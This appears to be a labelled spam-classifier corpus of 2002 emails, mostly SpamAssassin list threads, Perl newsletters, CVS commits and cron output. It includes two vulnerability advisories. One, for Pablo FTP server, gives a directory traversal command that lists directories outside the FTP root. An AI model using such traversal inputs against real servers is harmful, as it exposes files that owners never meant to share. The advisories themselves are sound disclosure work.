voices made Marc Perkel write: > I've been working on adding low scoring spam messages to my spam corpus > which means I'm tapping email that scores 5-18 points now and hand > sorting it. Some of these messages are newsletters and other mail that's > not spam - but they contain an ad for something that is spam. > > So - I don't see how I can classify these messages because catching spam > within a newsletter or yahoo message is not a false positive. I don't really see the problem... either the whole message is unwanted spam which you, one way or another, didn't agree to reciving, or it's something that you, one way or another, said that you'd accept... If you said you'd accept it, like mailinglists, then it isn't spam and shouldn't be caught as spam, no matter if there's ads in it or not... /Tony -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -source svanstrom.com/t`' ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Odhiambo Washington ,spamassassin-talk@example.sourceforge.net,"Mon, 22 Jul 2002 17:57:26 +0300",[SAtalk] Personal/Site-Wide SA Glitch (Spamassassin+Exim),"Hello People, I am new to SA but (2) problems I do have. I run SA from my own home for personal use and it seems to work but I see this in my procmail log: procmail: Executing "" ~/bin/SpamAssassin/spamassassin -P -c ~/bin/SpamAssassin/rules"" dccproc: not found dccproc: not found Can someone enlighten me on why I get that? FreeBSD 4.6-STABLE, SA-2.3.0 Secondly, I've tested (now on Three boxes) SA for site-wide usage but I believe I am missing something major because I've also had my setting checked/verified. The problem is that the site-wide setup does NOT seem to work. Why? 1. I have my local.cf in /etc/mail/spamassassin 2. I have spamd running, and mail delivery logs show that all e-mails are being passed thro SA. My local.cf contains: ENABLED=1 OPTIONS=""-F 0"" # rewrite_subject 0 report_header 1 defang_mime 0 required_hits 7.0 report_header 1 use_terse_report 1 subject_tag **SPAM** wash ('tty') ~ 337 -> exim -bt engingwarez@runjiri.co.ke eng.ngware@runji.co.ke deliver to enginngware in domain runjiri.co.ke director = spamcheck_director, transport = spamcheck However when I check the mail delivered to this mailbox, SA has _not_ added any headers to it. PERTINENT: I also run a Virus Scanner called DRWEB via Exim's system filter and the rules that I have applied are: if not first_delivery or $received_protocol is ""drweb-scanned"" or $received_protocol is ""spam-scanned"" then finish endif Some enlightenment would bail me out, I believe. Thanks -Wash -- Odhiambo Washington ""The box said 'Requires Wananchi Online Ltd. www.wananchi.com Windows 95, NT, or better,' Tel: 254 2 313985-9 Fax: 254 2 313922 so I installed FreeBSD."" GSM: 254 72 743 223 GSM: 254 733 744 121 This sig is McQ! :-) ""We demand rigidly defined areas of doubt and uncertainty!"" -- Vroomfondel ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Chris Goh ,"""spamassassin-talk@example.sourceforge.net"" ","Mon, 22 Jul 2002 11:12:57 +1000",RE: [SAtalk] user_perfs,"Hi.... If you havent already, spamd has to be restarted. Cheers -----Original Message----- From: James D. Stallings [SMTP:jdstallings@ureach.com] Sent: Monday, July 22, 2002 10:52 AM To: spamassassin-talk@lists.sourceforge.net Subject: [SAtalk] user_perfs I am having troubles setting up the User_Perfs file and I know it is reading them, cause if I change the score value it works based on the changes. My questions has to do with allowing certain domains not to be scanned for spam for a certain mbox. I can not get to the spamassassin.org site to check. Question: Is this the correct way to code it? # Whitelist and blacklist addresses are now file-glob-style patterns, so # ""friend@somewhere.com"", ""*@isp.com"", or ""*.domain.net"" will all work. whitelist_from *@freelotto.com whitelist_from *@luckysurf.com Thanks!! Jim ________________________________________________ Get your own ""800"" number Voicemail, fax, email, and a lot more http://www.ureach.com/reg/tag ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 bob@proulx.com (Bob Proulx),spamassassin-talk@example.sourceforge.net,"Sun, 21 Jul 2002 21:30:39 -0600",Re: [SAtalk] http://www.spamassassin.org,"--4Ckj6UjgE2iN1+kY Content-Type: text/plain; charset=us-ascii Content-Disposition: inline > http://www.spamassassin.org > Is anyone besides me having problems getting to the site? What site is that one? Isn't this site on sourceforge the official home page? http://spamassassin.sourceforge.net/ Bob --4Ckj6UjgE2iN1+kY Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9O3xf0pRcO8E2ULYRAnFFAJ4oIMwUH/vPP4yjvt7z8Gv/7CyFHgCfTmd6 nFFjYpkscA/GZoaiF8MBKCU= =Udmt -----END PGP SIGNATURE----- --4Ckj6UjgE2iN1+kY-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Michael Moncur"" ","""Marc Perkel"" ,","Sun, 21 Jul 2002 20:24:22 -0600",RE: [SAdev] Who uses Spam Assassin this way?,"I flag spam at 7.0 and drop it altogether at 20.0. I do lots of whitelisting and have never had a false positive over 20.0. Actually I save the 20-and-over spams to a file and occasionally double-check it. This allows me to keep over 75% of the spam out of my mailbox entirely - I have 3-4 messages a day in my Spam folder instead of 20-30. My system doesn't allow me to bounce messages with SA, but doing so doesn't really get anybody removed from spam lists anyway... I have addresses that have been bouncing for years that still get spam. -- michael moncur mgm at starlingtech.com http://www.starlingtech.com/ ""Truth is more of a stranger than fiction."" -- Mark Twain > -----Original Message----- > From: spamassassin-devel-admin@example.sourceforge.net > [mailto:spamassassin-devel-admin@lists.sourceforge.net]On Behalf Of Marc > Perkel > Sent: Sunday, July 21, 2002 11:15 AM > To: spamassassin-devel@example.sourceforge.net > Subject: [SAdev] Who uses Spam Assassin this way? > > > I know most people use SA to just tag spam - but I use it to also delete > and bounce spam. > > At 5 point I flag the message as spam and pass it on. At 18 points I > bounce the spam as if the user doesn't exist - in the hopes of being > removed from spam lists. I have modified scores on rules with large > numbers of FP to .1 and at 18 points I get no FP at all now. > > Therefore - one of my goals in improving the rules is to try to get real > spam up to 18 points. So if I have more good rules then real spam will > hit more rules and raise the point value. > > Anyhow - I was wondering how many of you are doing what I'm doing? ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Olivier Nicole ,yyyyates@sial.org,"Mon, 22 Jul 2002 09:41:19 +0700 (ICT)","Re: [SAtalk] Apple, Kmail, Adaptive Rules",">How would forgeries (e.g. viruses) be detected? Would there be an >""oops-I-didn't-mean-to-submit-that"" option somehow? Real viruses are filtered before they reach any mailbox for delivery. Tose two addresses could be accessible only for internal mail. And as a user is using this mechanism to build his own database of spam/non-spam, that's his problem is he sumbit something wrong. BTW, same forgery or wrong submission problems would exist if each user had his own set of 2 addresses. Olivier ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Daniel Quinlan ,Marc Perkel ,21 Jul 2002 12:24:31 -0700,Re: [SAdev] Debug Support Feature,"Marc Perkel writes: > Here something I want - maybe it's in there. I want a way to pipe a file > containing messages into one of the ""masses"" tools and have it output > the messages that match a specific rule. > > The reason I want this is to pipe non-spam corpus through a rule and get > a file of messages so I can look at the false positives and try to > figure out why there was a match. IDEALLY - I would like this debug > modes to put [[ ]] around the phrase that triggered the match. I think > this would be a good tool for fixing/improving otherwise good rules that > have unexplained FP. $ cd mass-check $ ./mass-check [options] > nonspam.log $ egrep RULE_NAME nonspam.log|awk '{print $3}'|xargs cat > RULE_NAME.fp It's pretty easy to figure out what matched if you write a short perl script to match regular expressions or just use pcregrep (perl regular expression grep). Dan ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Alexander Skwar ,SpamAssassin Talk ML ,"Sun, 21 Jul 2002 10:59:20 +0200",Re: [SAtalk] Cannot get spamd to work,"So sprach Malte S. Stretz am 2002-07-21 um 01:56:18 +0200 : > Not really. In most cases it's an install-and-forget. But there're some > special cases like you. Be proud! You're special :o) Uhm, yes, I'm happy that it doesn't work for me ;)) > I had a look at the spamc source and put a printf everywhere an exit code 74 > is used; could you have a try with the attached spamc, please? read_message->old_serverex 74 host:~/.cpan/build/Mail-SpamAssassin-2.31 # telnet localhost 783 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. df SPAMD/1.0 76 Bad header line: df Connection closed by foreign host. Just like John just said - thanks a lot for taking all that time to help me get SA to work! I'm *REALLY* thankful for this! Alexander Skwar -- How to quote: http://learn.to/quote (german) http://quote.6x.to (english) Homepage: http://www.iso-top.biz | Jabber: askwar@a-message.de iso-top.biz - Die gnstige Art an Linux Distributionen zu kommen Uptime: 4 days 14 hours 37 minutes ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Tony L. Svanstrom"" ",Olivier Nicole ,"Mon, 22 Jul 2002 16:18:03 +0200 (CEST)","Re: [SAtalk] Apple, Kmail, Adaptive Rules","On Mon, 22 Jul 2002 the voices made Olivier Nicole write: > >How would forgeries (e.g. viruses) be detected? Would there be an > >""oops-I-didn't-mean-to-submit-that"" option somehow? > > Real viruses are filtered before they reach any mailbox for delivery. > > Tose two addresses could be accessible only for internal mail. > > And as a user is using this mechanism to build his own database of > spam/non-spam, that's his problem is he sumbit something wrong. > > BTW, same forgery or wrong submission problems would exist if each > user had his own set of 2 addresses. Not really, because you could use [user]-[action]-[passw]@domain.tld; instead of letting 100'000 other users mess with your settings; not to mention virii that randomly pick sendernames from addressbooks and the future virii that target these ""not spam""-functions... /Tony -- # Per scientiam ad libertatem! // Through knowledge towards freedom! # # Genom kunskap mot frihet! =*= (c) 1999-2002 tony@svanstrom.com =*= # perl -e'print$_{$_} for sort%_=`lynx -source svanstrom.com/t`' ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Marc Perkel ,Daniel Quinlan ,"Sun, 21 Jul 2002 07:28:30 -0700",Re: [SAdev] [Bug 584] New: More general rule cleanup,"Thanks Dan. And the changes were very clever. Some of his rule changes actually did make thing more readable and he is highly skilled at regular expressions. I have found that readability and understandability is important in maintaining code. I think in a group project that it's more important. Daniel Quinlan wrote: >This is not a big deal, but I think Marc has a good point. The >performance difference is probably insignificant. On the other hand, we >continually have errors in regular expressions, often when ""excessive >cleverness"" has been applied. > >This seems like a pretty good example of premature/excessive >optimization. There is no data showing that the relevant code is run >for any significant period of time or that these changes produce a >measurable improvement in performance. Maybe they do, but it would be >nice to know before we complicate every regular expression. > >In contrast, your changes to the eval loops in PerMsgStatus.pm were >great. The code was responsible for a lot of our execution time and >there was a huge speed improvement. Even better, the code was just as >easy to understand as the original. > >Dan > > > ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 e-matters Security ,bugtraq@securityfocus.com,"Mon, 22 Jul 2002 13:21:28 +0200",[VulnWatch] Advisory 02/2002: PHP remote vulnerability,"e-matters GmbH www.e-matters.de -= Security Advisory =- Advisory: Remote Compromise/DOS Vulnerability in PHP Release Date: 2002/07/22 Last Modified: 2002/07/22 Author: Stefan Esser [s.esser@e-matters.de] Application: PHP 4.2.0, 4.2.1 Severity: A vulnerability within the multipart/form-data handler could allow remote compromise of the web server. Risk: Critical Vendor Status: Patches Released. Reference: http://security.e-matters.de/advisories/022002.html Overview: We have discovered a serious vulnerability within the default version of PHP. Depending on the processor architecture it may be possible for a remote attacker to either crash or compromise the web server. Details: PHP 4.2.0 introduced a completely rewritten multipart/form-data POST handler. While I was working on the code in my role as PHP developer i found a bug within the way the mime headers are processed. A malformed POST request can trigger an error condition, that is not correctly handled. Due to this bug it could happen that an uninit- ialised struct gets appended to the linked list of mime headers. When the lists gets cleaned or destroyed PHP tries to free the pointers that are expected in the struct. Because of the lack of initialisation those pointers contain stuff that was left on the stack by previous function calls. On the IA32 architecture (aka. x86) it is not possible to control what will end up in the uninitialised struct because of the stack layout. All possible code paths leave illegal addresses within the struct and PHP will crash when it tries to free them. Unfortunately the situation is absolutely different if you look on a solaris sparc installation. Here it is possible for an attacker to free chunks of memory that are full under his control. This is most probably the case for several more non IA32 architectures. Please note that exploitability is not only limited to systems that are running malloc()/free() implementations that are known to be vulnerable to control structure overwrites. This is because the internal PHP memory managment implements its own linked list system that can be used to overwrite nearly arbitrary memory addresses. Proof of Concept: e-matters is not going to release the exploit for this vulnerability to the public. Vendor Response: 22th July 2002 - An updated version of PHP which fixes this vulnerability was released and can be downloaded at: http://www.php.net/downloads.php The vendor announcement is available at: http://www.php.net/release_4_2_2.php Recommendation: If you are running PHP 4.2.x you should upgrade as soon as possible, especially if your server runs on a non IA32 CPU. If you cannot upgrade for whatever reason the only way to workaround this, is to disable all kinds of POST requests on your server. GPG-Key: http://security.e-matters.de/gpg_key.asc pub 1024D/75E7AAD6 2002-02-26 e-matters GmbH - Securityteam Key fingerprint = 43DD 843C FAB9 832A E5AB CAEB 81F2 8110 75E7 AAD6 Copyright 2002 Stefan Esser. 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For assistance, email help@oreillynet.com ---------------------------------------------------------------------",0,1 """Securiteinfo.com"" ",bugtraq@securityfocus.com,"Mon, 22 Jul 2002 23:09:11 +0200",[VulnWatch] Pablo Sofware Solutions FTP server Directory Traversal Vulnerability,"Pablo Sofware Solutions FTP server Directory Traversal Vulnerability .oO Overview Oo. Pablo Software Solutions FTP server version 1.0 build 9 shows files and directories that reside outside the normal FTP root directory. Discovered on 2002, July, 20th Vendor: Pablo Software Solutions Pablo's FTP Server is a multi threaded FTP server for Windows 98/NT/XP. It comes with an easy to use interface and can be accessed from the system tray. The server handles all basic FTP commands and offers easy user account management and support for virtual directories. This FTP server can shows file and directory content that reside outside the normal FTP root directory. .oO Details Oo. The vulnerability can be done using the MS-DOS ftp client. When you are logged on the server, you can send a dir \..\, or a dir \..\WINNT, supposed your root directory is c:\ftp_server .oO Solution Oo. The vendor has been informed and has solved the problem. Download Pablo's FTP Server Build 10 at : http://www.pablovandermeer.nl/ftp_server.html .oO Discovered by Oo. Arnaud Jacques webmaster@securiteinfo.com http://www.securiteinfo.com",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Tue, 23 Jul 2002 02:00:23 +0000",[use Perl] Headlines for 2002-07-23,"use Perl Daily Headline Mailer This week on perl5-porters (15-21 July 2002) posted by rafael on Monday July 22, @03:21 (summaries) http://use.perl.org/article.pl?sid=02/07/22/0725254 LAN Party at OSCON posted by ziggy on Monday July 22, @13:06 (events) http://use.perl.org/article.pl?sid=02/07/22/179214 Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Tue, 23 Jul 2002 02:00:30 +0000",[use Perl] Stories for 2002-07-23,"use Perl Daily Newsletter In this issue: * This week on perl5-porters (15-21 July 2002) * LAN Party at OSCON +--------------------------------------------------------------------+ | This week on perl5-porters (15-21 July 2002) | | posted by rafael on Monday July 22, @03:21 (summaries) | | http://use.perl.org/article.pl?sid=02/07/22/0725254 | +--------------------------------------------------------------------+ OK, you know already the big news of the week, don't you ? This report will tell you what happened behind the scenes of the 5.8.0 final releasing. This story continues at: http://use.perl.org/article.pl?sid=02/07/22/0725254 Discuss this story at: http://use.perl.org/comments.pl?sid=02/07/22/0725254 +--------------------------------------------------------------------+ | LAN Party at OSCON | | posted by ziggy on Monday July 22, @13:06 (events) | | http://use.perl.org/article.pl?sid=02/07/22/179214 | +--------------------------------------------------------------------+ [0]cwest writes ""At [1]O'Reilly [2]Open Source Convention, [3]Aaronsen Group Ltd, [4]DynDNS, and [5]Stonehenge Consulting are hosting a great party. 15 gaming class computers will be networked together as the base of a killer [6]Quake 3 Arena fragging. The bar will be open for your drinking pleasure. The party is open to all OSCON attendees and participants. Come rub elbows with the best programmers on earth and simultaneously destroy them in Quake."" The [7]LAN Party will be held on Thursday, 8pm - ??, at Quinn's bar (main lobby, Sheraton East Tower at the conference). Discuss this story at: http://use.perl.org/comments.pl?sid=02/07/22/179214 Links: 0. http://www.dyndns.org/lanparty 1. http://oreilly.com/ 2. http://conferences.oreilly.com/os2002 3. http://www.aaronsen.com/ 4. http://www.dyndns.org/ 5. http://www.stonehenge.com/ 6. http://www.quake3arena.com/games/quake/quake3-arena/ 7. http://www.dyndns.org/lanparty/ Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Tue, 23 Jul 2002 08:34:02 -0700","[SACVS] CVS: spamassassin/spamd pld-rc-script.sh,NONE,1.1","Update of /cvsroot/spamassassin/spamassassin/spamd In directory usw-pr-cvs1:/tmp/cvs-serv21113/spamd Added Files: pld-rc-script.sh Log Message: patch from Radoslaw Zielinski : rpm support for PLD Linux Distribution. Makefile.PL created Makefile, which caused problems with DESTDIR; fixed. also rc-script for PLD --- NEW FILE: pld-rc-script.sh --- #!/bin/sh # # spamassassin This script starts and stops the spamd daemon # # chkconfig: 2345 80 30 # # description: spamd is a daemon process which uses SpamAssassin to check # email messages for SPAM. It is normally called by spamc # from a MDA. # processname: spamassassin # pidfile: /var/run/spamassassin.pid # Source function library. . /etc/rc.d/init.d/functions # Source networking configuration. . /etc/sysconfig/network # Source configureation. if [ -f /etc/sysconfig/spamassassin ] ; then . /etc/sysconfig/spamassassin fi # Check that networking is up. if is_no ""${NETWORKING}""; then msg_Network_Down SpamAssassin exit 1 fi # See how we were called. case ""$1"" in start) # Start daemon. if [ ! -f /var/lock/subsys/spamd ]; then msg_starting SpamAssassin daemon spamd -d -c -a RETVAL=$? [ $RETVAL -eq 0 ] && touch /var/lock/subsys/spamd else msg_Not_Running SpamAssassin fi ;; stop) # Stop daemons. if [ -f /var/lock/subsys/spamd ]; then echo -n ""Shutting down spamd: "" killproc spamd RETVAL=$? rm -f /var/lock/subsys/spamd else msg_Already_Running SpamAssassin fi ;; restart) $0 stop $0 start ;; status) status spamd ;; *) msg_Usage ""$0 {start|stop|restart|status}"" exit 1 esac exit $RETVAL ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 Justin Mason ,spamassassin-commits@example.sourceforge.net,"Tue, 23 Jul 2002 08:34:02 -0700","[SACVS] CVS: spamassassin MANIFEST,1.80,1.81 Makefile.PL,1.31,1.32","Update of /cvsroot/spamassassin/spamassassin In directory usw-pr-cvs1:/tmp/cvs-serv21113 Modified Files: MANIFEST Makefile.PL Log Message: patch from Radoslaw Zielinski : rpm support for PLD Linux Distribution. Makefile.PL created Makefile, which caused problems with DESTDIR; fixed. also rc-script for PLD Index: MANIFEST =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/MANIFEST,v retrieving revision 1.80 retrieving revision 1.81 diff -u -d -r1.80 -r1.81 --- MANIFEST 23 Jul 2002 13:43:40 -0000 1.80 +++ MANIFEST 23 Jul 2002 15:34:00 -0000 1.81 @@ -123,3 +123,4 @@ tools/translation_prep.pl masses/lint-rules-from-freqs masses/freqdiff +spamd/pld-rc-script.sh Index: Makefile.PL =================================================================== RCS file: /cvsroot/spamassassin/spamassassin/Makefile.PL,v retrieving revision 1.31 retrieving revision 1.32 diff -u -d -r1.31 -r1.32 --- Makefile.PL 4 Jul 2002 14:26:15 -0000 1.31 +++ Makefile.PL 23 Jul 2002 15:34:00 -0000 1.32 @@ -1,6 +1,6 @@ require 5.005; -my $DEF_RULES_DIR = '$(PREFIX)/share/spamassassin'; +my $DEF_RULES_DIR = '$(DESTDIR)$(PREFIX)/share/spamassassin'; my $LOCAL_RULES_DIR = '/etc/mail/spamassassin'; @@ -83,7 +83,7 @@ # do this with MakeMaker without it trying to build the perl # modules as .so's :( -qq{ +qq# RULES = $rulesfiles @@ -98,7 +98,7 @@ DEF_RULES_DIR = $DEF_RULES_DIR LOCAL_RULES_DIR = $LOCAL_RULES_DIR -}. q{ +#. q# pm_to_blib: spamassassin doc/.made @@ -159,5 +159,6 @@ touch doc/.made -rm -f pod2htm* -}; +#; + } ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-commits mailing list Spamassassin-commits@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-commits",0,1 """rODbegbie"" ","""Marc Perkel"" ,","Tue, 23 Jul 2002 12:30:08 -0400",Re: [SAdev] Scoring Yahoo Ads,"Marc Perkel wrote: > But - MY POINT IS - catching the phrase ""risk-free"" in the ad portion > of a non-spam is not a false positive because those lines are > technically spam No. They. Are. Not. Those lines are technically *advertising*. Spam is unsolicited bulk *EMAIL*. If you do not understand this, then lease kindly STFU. Thanks, rOD. -- He gave his life for tourism. >> Doing the blogging thang again at http://www.groovymother.com/ << ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 Justin Mason ,yyyy@netnoteinc.com,"Tue, 23 Jul 2002 17:34:10 +0100",send failed on enclosed draft,"post: illegal header line -- Date: post: re-format message and try again Message not delivered to anyone. ------- Unsent Draft To: mice@crackmice.com Subject: van Hoogstraten (fwd) Date: Tue, 23 Jul 2002 10:53:59 +0100 From: yyyy@spamassassin.taint.org Anyone see the program about this guy last night? He's a cartoon character -- unbelievably inhuman. - --j. - ------- Forwarded Message Date: Mon, 22 Jul 2002 14:14:22 +0100 From: ""Tim Chapman"" To: zzzzteana@yahoogroups.com Subject: Re: [zzzzteana] van Hoogstraten verdict >> I was a bit disappointed that van Hoogstraten only got done for >> manslaughter , but then I read that the judge is considering giving him >> life anyway, A good time to savour again the classic Guardian interview from a couple of years ago - http://www.guardian.co.uk/g2/story/0,3604,365743,00.html His tenants are 'filth'. People in council houses are 'worthless and lazy'. Ramblers are 'nosy perverts'. Nicholas van Hoogstraten, a man who once paid for a hand-grenade attack on a business rival, shows Emma Brockes around his Sussex palace and explains why he's so keen to keep the riff-raff away Friday September 8, 2000 ... On the way down from the roof, through the ""workers' quarters"" which Van Hoogstraten intends to fill with staff from Zimbabwe, he returns to the subject of peasants, expanding on the ""worthless"" and ""lazy"" majority who make up the council estates of this country. ""You are playing up to your villainous image,"" I suggest. Van Hoogstraten looks momentarily embarrassed. ""I'm not villainous,"" he mumbles. I ask if he regards the people who work for him in these derogatory terms, and he says no, because they work hard and hard labour is what distinguishes the ""riff-raff"" from the ""elite"". I ask him if being a person of quality is merely a matter of wealth. He says no, and refers to some of his wealthy neighbours, ""old-moneyed bastards"" whom he regards as being as primitive in their idleness as ""those rat bags drawing social security."" ... He was in the Bahamas when President John F Kennedy was shot, and amidst the public mourning, remembers being pleased. ""I was glad,"" he says. ""He was only in it for the ego trip."" He claims similar feelings on hearing news of Diana's death, while returning from France on a ferry. ""She made us look like fools,"" he says. ""She made a mockery of the royal family."" Van Hoogstraten's relationship with authority is riddled with contradictions. He says he hated Diana because she was thick, but when you point out that the rest of the royal family are pretty thick too, he says gloopily, ""they are all we've got, so we have to respect them."" He says he favours dictatorship as the best form of government, but complains that some of the officials he has dealt with in Mugabe's Zimbabwe are impossible because ""the power has gone to their heads."" (Mugabe himself is the most modest man he has ever met, he says, and he is friends with Ian Smith, who apart from the small matter of his hysterical racism, he finds charming). Margaret Thatcher is the only leader he has ever admired, because she made him feel ""proud to be English"". ... The 'van' is of course a late affectation - always an indication of a genuine dickhead. See also Mohamed 'al' Fayed. TimC ------- End of Unsent Draft",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Wed, 24 Jul 2002 02:00:29 +0000",[use Perl] Stories for 2002-07-24,"use Perl Daily Newsletter In this issue: * Book Review: Web Development with Apache and Perl +--------------------------------------------------------------------+ | Book Review: Web Development with Apache and Perl | | posted by pudge on Tuesday July 23, @00:26 (books) | | http://use.perl.org/article.pl?sid=02/07/23/0327228 | +--------------------------------------------------------------------+ [0]belg4mit writes ""I picked up [1]Web Development with Apache and Perl thinking it would be about mod_perl, in my mind Apache + perl = mod_perl. It's not."" This story continues at: http://use.perl.org/article.pl?sid=02/07/23/0327228 Discuss this story at: http://use.perl.org/comments.pl?sid=02/07/23/0327228 Links: 0. http:///pthbb.org/ 1. http://manning.com/petersen/ Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Wed, 24 Jul 2002 02:00:23 +0000",[use Perl] Headlines for 2002-07-24,"use Perl Daily Headline Mailer Book Review: Web Development with Apache and Perl posted by pudge on Tuesday July 23, @00:26 (books) http://use.perl.org/article.pl?sid=02/07/23/0327228 Copyright 1997-2002 pudge. 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To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 root@dogma.slashnull.org (Cron Daemon),yyyy@dogma.slashnull.org,"Wed, 24 Jul 2002 03:25:40 +0100",Cron /home/yyyy/lib/sitescooper/automatic/runme,"Some errors were encountered during tonight's sitescooper run: SERIOUS WARNINGS: ------------------------------------------------------------------------- SITE WARNING: ""advogato_diaries.site"" line 1: HTTP GET failed: 500 Can't connect to www.advogato.org:80 (Timeout) (http://www.advogato.org/recentlog.html) SITE WARNING: ""advogato.site"" line 1: HTTP GET failed: 500 Can't connect to www.advogato.org:80 (Timeout) (http://www.advogato.org/article/) SITE WARNING: ""DOC.cf"" line 6: Configuration line invalid (needs URL line first?): SITE WARNING: ""DOC.cf"" line 7: Configuration line invalid (needs URL line first?): SITE WARNING: ""ISILO.cf"" line 6: Configuration line invalid (needs URL line first?): SITE WARNING: ""ISILO.cf"" line 7: Configuration line invalid (needs URL line first?): SITE WARNING: ""linux_gazette.site"" line 3: Redirected to http://www.linuxgazette.com/ from http://www.linuxgazette.com/lg_frontpage.html SITE WARNING: ""PLUCKER.cf"" line 6: Configuration line invalid (needs URL line first?): SITE WARNING: ""PLUCKER.cf"" line 7: Configuration line invalid (needs URL line first?): SITE WARNING: ""unblinking.site"" line 11: Unrecognised: SITE WARNING: ""world_new_york.site"" line 1: HTTP GET failed: 404 Not Found (http://www.worldnewyork.org/avantgo.php) SITE PATTERN CHANGED WARNINGS: ------------------------------------------------------------------------- SITE WARNING: ""crypto_gram.site"" line 1: LinksStart pattern """" not found in page http://www.counterpane.com/crypto-gram.html SITE WARNING: ""freshmeat_articles.site"" line 1: LinksStart pattern ""-- Content --"" not found in page http://freshmeat.net/articles/ SITE WARNING: ""freshmeat.site"" line 6: StoryStart pattern """" not found in page http://www.linux-mag.com/ SITE WARNING: ""linuxworld.site"" line 3: LinksStart pattern ""(?i)start features"" not found in page http://www.linuxworld.com/linuxworld/home.html SITE WARNING: ""mandrakeforum.site"" line 1: LinksStart pattern ""START: Body"" not found in page http://www.mandrakeforum.com/ SITE WARNING: ""merlyns_columns.site"" line 1: LinksStart pattern ""Columns"" not found in page http://www.stonehenge.com/merlyn/LinuxMag/ SITE WARNING: ""merlyns_columns.site"" line 1: LinksStart pattern ""Columns"" not found in page http://www.stonehenge.com/merlyn/WebTechniques/ SITE WARNING: ""plastic.site"" line 1: LinksStart pattern ""begin index block"" not found in page http://www.plastic.com/ SITE WARNING: ""sitescooper_archive.site"" line 5: LinksStart pattern ""date"" not found in page http://groups.yahoo.com/group/sitescooper-archive/ SITE WARNING: ""slashdot.site"" line 7: LinksStart pattern "" hof"" not found in page http://slashdot.org/index.pl?light=1&noboxes=1&noicons=1 SITE WARNING: ""tbtf_log.site"" line 3: StoryStart pattern 